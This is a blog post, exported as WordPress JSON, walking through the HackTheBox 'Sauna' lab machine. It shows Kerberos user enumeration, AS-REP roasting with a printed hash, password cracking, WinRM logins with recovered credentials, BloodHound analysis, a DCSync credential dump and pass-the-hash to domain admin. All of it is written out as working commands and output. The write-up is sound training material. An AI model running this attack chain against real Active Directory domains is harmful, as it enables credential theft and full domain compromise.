{"id":61,"date":"2020-11-03T01:06:49","date_gmt":"2020-11-03T01:06:49","guid":{"rendered":"https:\/\/dextersec.xyz\/?p=61"},"modified":"2020-11-20T14:00:13","modified_gmt":"2020-11-20T14:00:13","slug":"active-directory-101-sauna","status":"publish","type":"post","link":"https:\/\/dextersec.xyz\/?p=61","title":{"rendered":"Active Directory 101: Sauna"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>Introduction<\/strong><\/h2>\n\n\n\n<p>For my third machine in the Hackthebox AD 101 track, I\u2019ll be pwning Sauna. Sauna is an easy active directory machine that teaches the basics of ASREPROASTING and Domain Replication Attacks . The attack path to domain admin wasn&#8217;t complicated and was a good test of how much I&#8217;ve learned so far. Initial access was achieved by obtaining and cracking the TGT of a non-preauthenticated user.  Upon discovery and compromise of a user with DC Sync rights I was able to escalate privileges by dumping and passing the NTLM hash of the domain administrator.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Reconnaissance<\/strong><\/h2>\n\n\n\n<p>New tool alert!!<\/p>\n\n\n\n<p>I&#8217;ve know <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/RustScan\/RustScan\" target=\"_blank\">rust-scan<\/a> for a while now and thought to give it a try for this machine, it turned out to be a pretty decent port scanning tool with twice the speed and accuracy of Nmap.<\/p>\n\n\n\n<p>First we rust scan against our target  to discover open ports and and services<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>rustscan --ulimit 5000 -a 10.10.10.175<\/code><\/pre>\n\n\n\n<p>&#8211;ulimit  &#8211;  Automatically ups the ULIMIT with the value you provided<\/p>\n\n\n\n<p>&#8211;addresses &#8211; A list of comma separated CIDRs, IPs, or hosts to be scanned<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\n&#91;~] Starting Nmap 7.80 ( https:\/\/nmap.org ) at 2020-11-18 16:57 EST\n\nPORT      STATE SERVICE          REASON\n53\/tcp    open  domain           syn-ack ttl 127\n80\/tcp    open  http             syn-ack ttl 127\n88\/tcp    open  kerberos-sec     syn-ack ttl 127\n135\/tcp   open  msrpc            syn-ack ttl 127\n139\/tcp   open  netbios-ssn      syn-ack ttl 127\n389\/tcp   open  ldap             syn-ack ttl 127\n445\/tcp   open  microsoft-ds     syn-ack ttl 127\n464\/tcp   open  kpasswd5         syn-ack ttl 127\n593\/tcp   open  http-rpc-epmap   syn-ack ttl 127\n636\/tcp   open  ldapssl          syn-ack ttl 127\n3268\/tcp  open  globalcatLDAP    syn-ack ttl 127\n3269\/tcp  open  globalcatLDAPssl syn-ack ttl 127\n5985\/tcp  open  wsman            syn-ack ttl 127\n9389\/tcp  open  adws             syn-ack ttl 127\n\nRead data files from: \/usr\/bin\/..\/share\/nmap\nNmap done: 1 IP address (1 host up) scanned in 0.82 seconds\n           Raw packets sent: 24 (1.032KB) | Rcvd: 22 (960B)<\/code><\/pre>\n\n\n\n<p class=\"has-text-align-left\">Figure 1: Port-scanning  with RustScan<\/p>\n\n\n\n<p>RustScan completes a full TCP scan in less than 45 seconds.<\/p>\n\n\n\n<p>From the result  above we can gather the following:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>Port 80 has HTTP service running.<\/li><li>Port 53 indicates that DNS is running on this machine<\/li><li>Port 88 is running the Kerberos authentication service<\/li><li>Ports 389 &amp; 3628 have LDAP running<\/li><li>The host is a Domain Controller<\/li><li>LDAP provides us with the domain name egotisticalbank.local<\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Enumeration<\/strong><\/h2>\n\n\n\n<p>In enumerating this box the easiest attack vector would be through SMB, anonymous credentials worked with SMBclient but there were no accessible network shares, domain user enumeration with LDAP didn&#8217;t work also. Finally we probed port 88 (Kerberos) with <a href=\"https:\/\/github.com\/ropnop\/kerbrute\" target=\"_blank\" rel=\"noreferrer noopener\">kerbrute<\/a> (a tool for brute-forcing valid Active Directory accounts through Kerberos Pre-Authentication) and discovered  a valid user.<\/p>\n\n\n\n<p>In enumerating kerberos with kerbrute, a word list of possible username is required, we can easily generate our custom word list by visiting the website being served by our target.  <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"438\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-48-1024x438.png\" alt=\"\" class=\"wp-image-201\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-48-1024x438.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-48-300x128.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-48-768x329.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-48-210x90.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-48.png 1198w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Figure 2: The website provides us with possible domain users<\/figcaption><\/figure>\n\n\n\n<p>Now we create a custom word list with the first initial and last name of each team member and pass it into kerbrute as an argument to discover non-preauthenticated users.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/kerbrute_linux_amd64 userenum userlist.txt --dc 10.10.10.175 -d egotisticalbank <\/code><\/pre>\n\n\n\n<p><strong>userenum<\/strong> Enumerates valid domain usernames via Kerberos<\/p>\n\n\n\n<p><strong>&#8211;dc<\/strong> Specifies the domain controller&#8217;s IP Address<\/p>\n\n\n\n<p><strong>-d<\/strong>  Specifies the domain<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>   \/ \/_____  _____\/ \/_  _______  __\/ \/____ \n  \/ \/\/_\/ _ \\\/ ___\/ __ \\\/ ___\/ \/ \/ \/ __\/ _ \\\n \/ ,&lt; \/  __\/ \/  \/ \/_\/ \/ \/  \/ \/_\/ \/ \/_\/  __\/\n\/_\/|_|\\___\/_\/  \/_.___\/_\/   \\__,_\/\\__\/\\___\/                                        \n\nVersion: v1.0.3 (9dad6e1) - 11\/18\/20 - Ronnie Flathers @ropnop\n\n2020\/11\/18 11:50:01 >  Using KDC(s):\n2020\/11\/18 11:50:01 >   10.10.10.175:88\n\n2020\/11\/18 11:50:01 >  &#91;+] VALID USERNAME:       fsmith@egotisticalbank\n\n<\/code><\/pre>\n\n\n\n<p>Figure 3: Username enumeration with Kerbrute<\/p>\n\n\n\n<p>Boom!! valid user found. we can proceed to the next stage of our attack. \ud83d\ude42<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Initial Access<\/strong><\/h2>\n\n\n\n<p>Since we are working with windows active directory we can leverage on a technique called ASREPROASTING (i.e Authentication Server Response Roasting) to gain initial foothold on this machine. <\/p>\n\n\n\n<p>The ASREPRoast attack looks for <strong>users without Kerberos pre-authentication enabled attribute (<\/strong><a rel=\"noreferrer noopener\" href=\"https:\/\/support.microsoft.com\/en-us\/help\/305144\/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro\" target=\"_blank\"><strong><em>DONT_REQ_PREAUTH<\/em><\/strong><\/a><strong><em>)<\/em><\/strong>.<\/p>\n\n\n\n<p>This means  anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This message contains a chunk of data encrypted with the original user hash, derived from its password. Then, by leveraging this flaw, the hash could be cracked offline to obtain a valid password.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/roasting-as-reps\/\">harmj0y<\/a> has an awesome <a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/roasting-as-reps\/\">article <\/a>that explains this attack in depth.<\/p>\n\n\n\n<p>The GetUserSPNs binary from impacket suite is the tool of choice for this step.<\/p>\n\n\n\n<p>If you don\u2019t have impacket installed simply run the command:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>apt-get install python3-impacket<\/code><\/pre>\n\n\n\n<p>Run the Impacket-GetNPUsers binary against fsmith<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 GetNPUsers.py -no-pass egotistical\/fsmith -dc-ip 10.10.10.175 -request<\/code><\/pre>\n\n\n\n<p><strong>-request<\/strong> Requests TGT for users and output them in JtR\/hashcat format<\/p>\n\n\n\n<p>&#8211;<strong>dc-ip <\/strong>Specifies the domain controller&#8217;s IP Address<\/p>\n\n\n\n<p>We get back the result<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation\n\n&#91;*] Getting TGT for fsmith\n$krb5asrep$23$fsmith@EGOTISTICALBANK:9ed62d0a4a1866441afbcb74c5ed1fa0$1df2ba2bdf83294cd28167a43df5ed9426f1551a3b28b2856f6bca20fc315c90ba944ecbd0bc0c254c817e456a5830ba0eadfb78c5f3301c77439ef2fb32975f83927b8085c812106b6c7e48f384b531642a13e9d69996b008bda62c5792cc81454a6fe461d25c81d5a323f5862d086a5a85f1f9e49839907c02dfa05399558871a33d1a13c891717ae5e8d56663d2a6db841f4732bc60a98a65907f14c835016c68d371556a0d7096d6b03576390beaf8b9db96cb7979ac52b57862b88d380a693eee8ad466ba80351b8ebebfef64db886782d5806e2cab1e6b46cc620fd1b6ba0190fe562e0defe27fb0a601a28b9b847fad74ce9bee61b5\n\n<\/code><\/pre>\n\n\n\n<p>Figure 4: ASREPROASTING with GetNPUsers.py<\/p>\n\n\n\n<p>Save the hash into a file and attempt cracking with john to obtain a password in plain text for fsmith.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>john --wordlist=\/usr\/share\/wordlists\/rockyou.txt hashes.txt<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:\/opt\/htb\/active_directory_101\/sauna# john --show asrep_hashes.txt \n$krb5asrep$23$fsmith@EGOTISTICALBANK:Thestrokes23\n\n1 password hash cracked, 0 left\n<\/code><\/pre>\n\n\n\n<p>Figure 5: Plain-text password for the user fsmith<\/p>\n\n\n\n<p>We got a plaintext password!<\/p>\n\n\n\n<p>Port 5985 is open for Windows Remote Management, lets fire up evil-winrm to get remote access  on our  target .<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>evil-winrm -i 10.10.10.175 -u fsmith -p Thestrokes23<\/code><\/pre>\n\n\n\n<p><strong>-i  <\/strong>IP Remote host IP or host name.<\/p>\n\n\n\n<p><strong>-U<\/strong> Username<\/p>\n\n\n\n<p><strong>-P <\/strong>Password<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Evil-WinRM shell v2.3\n\nInfo: Establishing connection to remote endpoint\n\n*Evil-WinRM* PS C:\\Users\\FSmith\\Documents> whoami \/all\n\nUSER INFORMATION\n----------------\n\nUser Name              SID\n====================== ==============================================\negotisticalbank\\fsmith S-1-5-21-2966785786-3096785034-1186376766-1105\n<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Post Compromise Enumeration<\/strong> <strong>&amp; Local Privilege Escalation<\/strong><\/h2>\n\n\n\n<p>We have successfully established initial foothold on the domain controller, let&#8217;s learn more about our environment with <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/carlospolop\/privilege-escalation-awesome-scripts-suite\/blob\/master\/winPEAS\/winPEASexe\/winPEAS\/bin\/x64\/Release\/winPEAS.exe\" target=\"_blank\">WinPEAS<\/a><\/p>\n\n\n\n<p>Upload WinPEAS to our target.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>upload winPEAS.exe<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\FSmith\\Documents> upload winPEAS.exe\nInfo: Uploading winPEAS.exe to C:\\Users\\FSmith\\Documents\\winPEAS.exe\n\n                                                             \nData: 629416 bytes of 629416 bytes copied\n\nInfo: Upload successful!\n<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p>Run WinPEAS to enumerate the domain controller for local privilege escalation vectors.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/winPEAS.exe<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\FSmith\\Documents> .\/winPEAS.exe\n\n  &#91;...]\n\n  &#91;+] Home folders found\n    C:\\Users\\Administrator\n    C:\\Users\\All Users\n    C:\\Users\\Default\n    C:\\Users\\Default User\n    C:\\Users\\FSmith : FSmith &#91;AllAccess]\n    C:\\Users\\Public\n    C:\\Users\\svc_loanmgr\n\n  &#91;+] Looking for AutoLogon credentials\n    Some AutoLogon credentials were found!!\n    DefaultDomainName             :  35mEGOTISTICALBANK\n    DefaultUserName               :  35mEGOTISTICALBANK\\svc_loanmanager\n    DefaultPassword               :  Moneymakestheworldgoround!\n   &#91;...]<\/code><\/pre>\n\n\n\n<p>Autologon credentials found!! now we can logon to the domain controller as svc_loanmgr. <\/p>\n\n\n\n<p><em>Note: &#8220;svc_loanmanager&#8221; didn&#8217;t work as a username, appartently its a default username and was most likely modified to harden the DC, we can confirm this by running the following command;<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>net user \/domain<\/code><\/pre>\n\n\n\n<p>As we can see in the output, it&#8217;s svc_loanmgr and not svc_loanmanager that&#8217;s a domain user.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\FSmith\\Documents> net user \/domain\n\nUser accounts for \\\\\n\n-------------------------------------------------------------------------------\nAdministrator            FSmith                   Guest\nHSmith                   krbtgt                   svc_loanmgr\nThe command completed with one or more errors.\n<\/code><\/pre>\n\n\n\n<p>Now let&#8217;s logon with evil-winrm<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>evil-winrm -i 10.10.10.175 -u svc_loanmgr -p Moneymakestheworldgoround!<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:\/opt\/htb\/active_directory_101\/sauna# evil-winrm -i 10.10.10.175 -u svc_loanmgr -p Moneymakestheworldgoround!\n\nEvil-WinRM shell v2.3\n\nInfo: Establishing connection to remote endpoint\n\n*Evil-WinRM* PS C:\\Users\\svc_loanmgr\\Documents><\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Privilege Escalation<\/strong><\/h2>\n\n\n\n<p>Next, we&#8217;ll use BloodHound to easily identify highly complex attack paths. Invoke-aclscanner &amp; Invoke-allchecks modules from Powerview also works for this purpose, however, BloodHound is my go to tool.<\/p>\n\n\n\n<p>You can check out my detailed write-up on getting started with BloodHound here.<\/p>\n\n\n\n<p>First upload and execute bloodhound&#8217;s data ingestor, SharpHound.exe on our target. The executable can be found <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/BloodHoundAD\/BloodHound\/tree\/master\/Ingestors\" target=\"_blank\">here<\/a><\/p>\n\n\n\n<p>Upload SharpHound<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>upload SharpHound.exe<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\svc_loanmgr\\Documents> upload SharpHound.exe\nInfo: Uploading SharpHound.exe to C:\\Users\\svc_loanmgr\\Documents\\SharpHound.exe<\/code><\/pre>\n\n\n\n<p>Run the executable<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/SharpHound.exe<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>*Evil-WinRM* PS C:\\Users\\svc_loanmgr\\Documents> .\/SharpHound.exe\n------------------------------------------------\nInitializing SharpHound at 8:39 PM on 11\/18\/2020\n------------------------------------------------\n\nResolved Collection Methods: Group, Sessions, Trusts, ACL, ObjectProps, LocalGroups, SPNTargets, Container\n\n&#91;+] Creating Schema map for domain EGOTISTICAL-BANK.LOCAL using path CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL\n&#91;+] Cache File Found! Loaded 92 Objects in cache\n\n&#91;+] Pre-populating Domain Controller SIDS\nStatus: 0 objects finished (+0) -- Using 21 MB RAM\nStatus: 60 objects finished (+60 \u00ec)\/s -- Using 27 MB RAM\nEnumeration finished in 00:00:00.2771487\nCompressing data to .\\20201118203954_BloodHound.zip\nYou can upload this file directly to the UI\n\nSharpHound Enumeration Completed at 8:39 PM on 11\/18\/2020! Happy Graphing!\n<\/code><\/pre>\n\n\n\n<p>Download the zip file to our attacking machine for analysis with the BloodHound GUI<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"909\" height=\"105\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-49.png\" alt=\"\" class=\"wp-image-207\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-49.png 909w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-49-300x35.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-49-768x89.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-49-210x24.png 210w\" sizes=\"(max-width: 909px) 100vw, 909px\" \/><figcaption>Downloading the scan results for analysis<\/figcaption><\/figure>\n\n\n\n<p>Before we start analyzing the data ingested by SharpHound, we need to fire up neo4j database and BloodHound on our attacking machine. find a detailed guide on how to install <a href=\"https:\/\/neo4j.com\/docs\/\">neo4j<\/a> here.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> neo4j console<\/code><\/pre>\n\n\n\n<p>initializing neo4j<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:~# neo4j console\nDirectories in use:\n  home:         \/usr\/share\/neo4j\n  config:       \/usr\/share\/neo4j\/conf\n  logs:         \/usr\/share\/neo4j\/logs\n  plugins:      \/usr\/share\/neo4j\/plugins\n  import:       \/usr\/share\/neo4j\/import\n  data:         \/usr\/share\/neo4j\/data\n  certificates: \/usr\/share\/neo4j\/certificates\n  run:          \/usr\/share\/neo4j\/run\nStarting Neo4j.\nWARNING: Max 1024 open files allowed, minimum of 40000 recommended. See the Neo4j manual.\nPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true\n2020-11-18 20:33:12.885+0000 INFO  ======== Neo4j 4.0.7 ========\n2020-11-18 20:33:12.905+0000 INFO  Starting...\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>bloodhound<\/code><\/pre>\n\n\n\n<p>initializing BloodHound<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@kali:~# bloodhound\n(node:1837) &#91;DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.<\/code><\/pre>\n\n\n\n<p>Login using the credentials you created while installing neo4j, and upload the zipped file to bloodhound.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"567\" height=\"393\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-50.png\" alt=\"\" class=\"wp-image-208\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-50.png 567w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-50-300x208.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-50-210x146.png 210w\" sizes=\"(max-width: 567px) 100vw, 567px\" \/><figcaption>Login to BloodHound<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-52-edited.png\" alt=\"\" class=\"wp-image-211\" width=\"713\" height=\"401.0625\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-52-edited.png 895w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-52-edited-300x169.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-52-edited-768x432.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-52-edited-210x118.png 210w\" sizes=\"(max-width: 895px) 100vw, 895px\" \/><figcaption>Uploading the zipped file for analysis with BloodHound<\/figcaption><\/figure>\n\n\n\n<p>In the Bloodhound <em>Queries <\/em>tab, select \u201c<em>Find Principals with DCSync Rights<\/em>\u201d. This graphs all users on the domain with domain replication permissions.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-53-1024x576.png\" alt=\"\" class=\"wp-image-212\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-53-1024x576.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-53-300x169.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-53-768x432.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-53-210x118.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-53.png 1280w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><figcaption>Querying for users with DCSync Rights<\/figcaption><\/figure>\n\n\n\n<p>The resulting query should look something like this.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"950\" height=\"509\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-54.png\" alt=\"\" class=\"wp-image-213\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-54.png 950w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-54-300x161.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-54-768x411.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-54-210x113.png 210w\" sizes=\"(max-width: 950px) 100vw, 950px\" \/><figcaption>Compromised user account svc_loanmgr has DCSync rights to the domain<\/figcaption><\/figure>\n\n\n\n<p>We discover that SVC_LOANMGR has GetChanges &amp; GetChangesAll permission on the domain.<\/p>\n\n\n\n<p>What does this imply:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>The combination of DS-Replication-GetChanges and DS-Replication-GetChangesall Permissions  grants us the ability to launch to a DCSYNC attack.<\/li><\/ol>\n\n\n\n<pre class=\"wp-block-code\"><code>Intermission: A detailed breakdown of these permissions and abuse information can be obtained by navigating to the help option on BloodHound<\/code><\/pre>\n\n\n\n<p>Right click on &#8220;GetChanges&#8221; &gt; Select &#8220;? Help&#8221;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-55-1024x576.png\" alt=\"\" class=\"wp-image-214\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-55-1024x576.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-55-300x169.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-55-768x432.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-55-210x118.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-55.png 1280w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"801\" height=\"451\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-56.png\" alt=\"\" class=\"wp-image-215\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-56.png 801w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-56-300x169.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-56-768x432.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-56-210x118.png 210w\" sizes=\"(max-width: 801px) 100vw, 801px\" \/><figcaption>Detailed information about the Get-Changes Privilege<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Now back to becoming domain admin&#8230;<\/strong><\/h2>\n\n\n\n<p>Finally, to exploit loanmgr&#8217;s domain replication privilege, we run impacket-secretsdump on our attacking machine to obtain NTLM hashes for all users, then pass the administrator&#8217;s hash with psexec to obtain a privileged shell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>impacket-secretsdump \"egotistical.local\/svc_loanmgr:Moneymakestheworldgoround!\"@10.10.10.175<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"932\" height=\"223\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-57.png\" alt=\"\" class=\"wp-image-216\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-57.png 932w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-57-300x72.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-57-768x184.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-57-210x50.png 210w\" sizes=\"(max-width: 932px) 100vw, 932px\" \/><\/figure>\n\n\n\n<p>Pass the domain administrator&#8217;s hash using psexec.py to obtain a privileged shell.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 psexec.py -hashes  egotistical.local\/administrator@10.10.10.175<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"207\" src=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-58-1024x207.png\" alt=\"\" class=\"wp-image-217\" srcset=\"https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-58-1024x207.png 1024w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-58-300x61.png 300w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-58-768x155.png 768w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-58-210x42.png 210w, https:\/\/dextersec.xyz\/wp-content\/uploads\/2020\/11\/image-58.png 1238w\" sizes=\"(max-width: 980px) 100vw, 980px\" \/><\/figure>\n\n\n\n<p>Domain Admin is officially pwned!!<\/p>\n\n\n<p class=\"wp-block-tag-cloud\"><a href=\"https:\/\/dextersec.xyz\/?tag=active-directory\" class=\"tag-cloud-link tag-link-4 tag-link-position-1\" style=\"font-size: 18.5pt;\" aria-label=\"active directory (3 items)\">active directory<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=cybersecurity\" class=\"tag-cloud-link tag-link-12 tag-link-position-2\" style=\"font-size: 8pt;\" aria-label=\"cybersecurity (1 item)\">cybersecurity<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=cybersecurity-careers\" class=\"tag-cloud-link tag-link-15 tag-link-position-3\" style=\"font-size: 8pt;\" aria-label=\"cybersecurity careers (1 item)\">cybersecurity careers<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=ethical-hacking\" class=\"tag-cloud-link tag-link-13 tag-link-position-4\" style=\"font-size: 8pt;\" aria-label=\"ethical hacking (1 item)\">ethical hacking<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=hacking\" class=\"tag-cloud-link tag-link-5 tag-link-position-5\" style=\"font-size: 22pt;\" aria-label=\"hacking (4 items)\">hacking<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=hackthebox\" class=\"tag-cloud-link tag-link-3 tag-link-position-6\" style=\"font-size: 18.5pt;\" aria-label=\"hackthebox (3 items)\">hackthebox<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=kerberoasting\" class=\"tag-cloud-link tag-link-6 tag-link-position-7\" style=\"font-size: 18.5pt;\" aria-label=\"kerberoasting (3 items)\">kerberoasting<\/a>\n<a href=\"https:\/\/dextersec.xyz\/?tag=writeup\" class=\"tag-cloud-link tag-link-7 tag-link-position-8\" style=\"font-size: 18.5pt;\" aria-label=\"writeup (3 items)\">writeup<\/a><\/p>\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Introduction For my third machine in the Hackthebox AD 101 track, I\u2019ll be pwning Sauna. Sauna is an easy active directory machine that teaches the basics of ASREPROASTING and Domain Replication Attacks . The attack path to domain admin wasn&#8217;t complicated and was a good test of how much I&#8217;ve learned so far. Initial access 